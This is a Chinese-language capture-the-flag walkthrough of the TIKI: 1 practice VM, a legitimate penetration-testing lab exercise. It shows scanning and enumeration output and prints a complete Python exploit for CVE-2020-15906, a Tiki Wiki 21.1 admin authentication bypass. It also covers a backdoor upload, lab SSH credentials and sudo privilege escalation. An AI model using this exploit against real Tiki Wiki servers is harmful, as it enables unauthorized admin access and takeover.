靶机描述
靶机地址:TIKI: 1
Description
Oh no our webserver got compromised. The attacker used an 0day, so we dont know how he got into the admin panel. Investigate that.
This is an OSCP Prep Box, its based on a CVE I recently found. Its on the OSCP lab machines level.
If you need hints contact me on Twitter: S1lky_1337, should work on VirtualBox and Vmware.
一、搭建靶机环境
攻击机Kali:
IP地址:192.168.91.137
靶机:
IP地址:192.168.91.139
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
该靶机环境搭建如下
- 将下载好的靶机环境,导入VMware,设置为NAT模式-用于共享主机的IP地址
- 将VMware中桥接模式网卡设置为NAT
二、实战
2.1 网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l(通过指定网卡进行扫描)
arp-scan -I eth0 -l
方法二、masscan扫描的网段-p扫描端口号
masscan 192.168.91.0/24 -p 80,22
方法很多,这里不再赘述……
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
22---ssh---OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80---http---Apache httpd 2.4.41 ((Ubuntu))
139---netbios---netbios-ssn Samba smbd 4.6.2
445---netbios---netbios-ssn Samba smbd 4.6.2
2.2 枚举漏洞
22端口分析
一般只能暴力破解,暂时没有合适的字典
80端口分析
访问80端口服务
访问:http://192.168.91.139/robots.txt
访问:http://192.168.91.139/tiki/
发现是使用了Tiki Wiki CMS作为框架进行搭建,但是没发现是什么版本
通过查询CMS文档和信息收集后,访问:http://192.168.91.139/tiki/doc/stable.version
看着好像是版本消息,但还是没有确定版本,继续扫一下目录:
dirsearch -u http://192.168.91.139/tiki
┌──(root㉿Abyssun)-[~]
└─# dirsearch -u http://192.168.91.139/tiki/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_192.168.91.139/_tiki__23-12-27_22-22-29.txt
Target: http://192.168.91.139/
[22:22:29] Starting: tiki/
[22:22:30] 200 - 44KB - /tiki/.editorconfig
[22:22:30] 200 - 353KB - /tiki/.gitattributes
[22:22:30] 200 - 10KB - /tiki/.gitlab-ci.yml
[22:22:31] 403 - 279B - /tiki/.ht_wsr.txt
[22:22:31] 403 - 279B - /tiki/.htaccess.bak1
[22:22:31] 403 - 279B - /tiki/.htaccess.orig
[22:22:31] 403 - 279B - /tiki/.htaccess.save
[22:22:31] 403 - 279B - /tiki/.htaccess_extra
[22:22:31] 403 - 279B - /tiki/.htaccess_sc
[22:22:31] 403 - 279B - /tiki/.htaccess.sample
[22:22:31] 403 - 279B - /tiki/.htaccessBAK
[22:22:31] 403 - 279B - /tiki/.htaccessOLD
[22:22:31] 403 - 279B - /tiki/.html
[22:22:31] 403 - 279B - /tiki/.htm
[22:22:31] 403 - 279B - /tiki/.htaccess_orig
[22:22:31] 403 - 279B - /tiki/.htpasswds
[22:22:31] 403 - 279B - /tiki/.htpasswd_test
[22:22:31] 403 - 279B - /tiki/.httr-oauth
[22:22:31] 403 - 279B - /tiki/.htaccessOLD2
[22:22:31] 403 - 279B - /tiki/.php
[22:22:33] 302 - 0B - /tiki/about.php -> index.php
[22:22:34] 301 - 321B - /tiki/admin -> http://192.168.91.139/tiki/admin/
[22:22:34] 302 - 0B - /tiki/admin/ -> ../tiki-index.php
[22:22:35] 302 - 0B - /tiki/admin/index.php -> ../tiki-index.php
[22:22:40] 200 - 859B - /tiki/changelog.txt
[22:22:41] 200 - 0B - /tiki/cron.php
[22:22:42] 301 - 318B - /tiki/db -> http://192.168.91.139/tiki/db/
[22:22:42] 302 - 0B - /tiki/db/ -> ../tiki-index.php
[22:22:42] 302 - 0B - /tiki/db/index.php -> ../tiki-index.php
[22:22:42] 301 - 319B - /tiki/doc -> http://192.168.91.139/tiki/doc/
[22:22:42] 302 - 0B - /tiki/doc/ -> ../tiki-index.php
[22:22:42] 200 - 526B - /tiki/doc/stable.version
[22:22:43] 301 - 320B - /tiki/dump -> http://192.168.91.139/tiki/dump/
[22:22:43] 302 - 0B - /tiki/dump/ -> ../tiki-index.php
[22:22:45] 301 - 319B - /tiki/img -> http://192.168.91.139/tiki/img/
[22:22:45] 302 - 0B - /tiki/index.php -> http://192.168.91.139/tiki/tiki-index.php
[22:22:46] 302 - 0B - /tiki/index.php/login/ -> http://192.168.91.139/tiki/tiki-index.php
[22:22:46] 200 - 3KB - /tiki/INSTALL
[22:22:46] 301 - 325B - /tiki/installer -> http://192.168.91.139/tiki/installer/
[22:22:46] 200 - 283B - /tiki/lang/web.config
[22:22:46] 301 - 320B - /tiki/lang -> http://192.168.91.139/tiki/lang/
[22:22:47] 301 - 319B - /tiki/lib -> http://192.168.91.139/tiki/lib/
[22:22:47] 302 - 0B - /tiki/lib/ -> ../index.php
[22:22:47] 200 - 8KB - /tiki/license.txt
[22:22:47] 301 - 321B - /tiki/lists -> http://192.168.91.139/tiki/lists/
[22:22:47] 200 - 465B - /tiki/lists/
[22:22:49] 301 - 323B - /tiki/modules -> http://192.168.91.139/tiki/modules/
[22:22:49] 302 - 0B - /tiki/modules/ -> ../tiki-index.php
[22:22:49] 200 - 230B - /tiki/modules/web.config
[22:22:52] 200 - 969B - /tiki/phpunit.xml.dist
[22:22:53] 200 - 1KB - /tiki/README
[22:22:53] 200 - 1KB - /tiki/robots.txt
[22:22:56] 301 - 323B - /tiki/storage -> http://192.168.91.139/tiki/storage/
[22:22:56] 302 - 0B - /tiki/storage/ -> ../tiki-index.php
[22:22:57] 302 - 0B - /tiki/temp/ -> ../tiki-index.php
[22:22:57] 301 - 325B - /tiki/templates -> http://192.168.91.139/tiki/templates/
[22:22:57] 302 - 0B - /tiki/templates/ -> ../tiki-index.php
[22:22:57] 301 - 320B - /tiki/temp -> http://192.168.91.139/tiki/temp/
[22:22:57] 302 - 0B - /tiki/themes/ -> ../tiki-index.php
[22:22:57] 301 - 322B - /tiki/themes -> http://192.168.91.139/tiki/themes/
[22:22:57] 403 - 8KB - /tiki/tiki-admin.php
[22:22:59] 200 - 408B - /tiki/vendor/
[22:23:01] 200 - 0B - /tiki/xmlrpc.php
Task Completed
访问相关目录
在http://192.168.91.139/tiki/changelog.txt中看到了版本号21.1
2.3 漏洞利用
2.3.1 利用EXP进入后台
拿到了网站的CMS版本,那么我们可以在kali的本地库中搜索一下,看看有没有可以直接使用的exp
searchsploit Tiki Wiki CMS 21.1
发现能够找到一个exp,尝试利用这个漏洞,将脚本带出复制到当前路径
searchsploit -m php/webapps/48927.py
查看一下脚本内容
# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64
#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys
banner = '''
████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███
██ ██ █████ ██ ██ █ ██ ██ █████ ██ █████ ██ ██
██ ██ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███ ███ ██ ██ ██ ██ ███████ ██ ██ ██
█████ ██ ██ ████████ ██ ██ ███████ ███ ██ ████████ ██ ██████ █████ ████████ ██ ██████ ███ ██ ██████ ██ ██ ██████ █████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ██ ███████ █████ ██ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██████ ████ ██████ ███████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██████ ██ ██ ██ ███████ ██ ████ ██ ██ ██████ ██ ██ ██ ██ ██████ ██ ████ ██████ ██ ██ ██ ██ ███████ ███████
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''
def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return
rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"
session = requests.Session()
def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')
return str(auth)[2:-2]
def get_cookie():
session.get(url)
return session.cookies.get_dict()
cookie = get_cookie()
ticket = get_ticket()
payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}
for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")
if(__name__ == '__main__'):
main()
使用方法上只需要我们来指定ip就行
那么,EXP,启动!
得到提示,用burp抓包去掉密码后重放,即可登陆
用burp进行抓包、改包、重放数据包
成功登陆admin
2.3.2 尝试文件上传
登陆成功之后,继续信息收集,可以发现文件上传功能,上传后门文件成功
但并不知道路径,无法进一步进行利用
2.3.3 信息收集获取用户账户密码getshell
继续进一步的信息收集,查看目录,在wiki下发现Listpages存在几个页面
在Credentials
中发现了类似密码的文本silky:Agy8Y7SPJNXQzqA
尝试登陆:ssh silky@192.168.91.139
成功登陆
2.4 权限提升
2.4.1 寻找suid权限程序提权
简单的信息收集一下
发现sudo组下的所有用户都能使用sudo权限,且免密码,切换一下至root
,成功得到flag
总结
本次靶机渗透练习主要通过信息收集和工具测试,找出,Tiki Wiki CMS漏洞,利用漏洞进入后台,再通过信息收集获取账户密码获取权限后,利用sudo提权拿到flag。
- 信息收集
- Tiki Wiki CMS 漏洞利用
- sudo提权